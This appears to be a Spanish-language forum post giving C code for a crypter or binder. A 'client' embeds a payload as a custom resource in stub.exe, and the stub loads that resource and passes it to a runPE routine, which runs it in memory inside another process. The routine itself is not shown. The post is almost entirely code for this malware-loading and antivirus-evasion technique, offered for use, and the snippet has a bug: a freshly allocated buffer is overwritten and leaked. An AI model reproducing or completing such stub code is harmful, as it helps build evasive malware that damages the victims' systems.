Cliente:
Código: Seleccionar todo
//... en el main o lugar donde se metan los recursos
HANDLE hRes;
char *szBits="hola";
DWORD dwBits;
dwBits=strlen(szBits);
hRes=BeginUpdateResource("stub.exe",FALSE);
if(hRes!=NULL)
{
if(UpdateResource(hRes,"CUSTOM",MAKEINTRESOURCE(101),MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL),szBits,dwBits)!=NULL)
{
EndUpdateResource(hRes,FALSE);
}
}
//...
stub:
Código: Seleccionar todo
char *szArchivo;
DWORD dwTam;
HGLOBAL hGlob;
HANDLE hRes;
hRes=FindResource(NULL,MAKEINTRESOURCE(101),"CUSTOM");
if(hRes!=NULL)
{
dwTam=SizeofResource(NULL,hRes);
hGlob=LoadResource(NULL,hRes);
szArchivo=(char *)malloc(dwTam);
szArchivo=(char *)LockResource(hGlob);
}
Código: Seleccionar todo
//...
szArchivo=(char *)LockResource(hGlob);
runPE(proceso,szArchivo);
}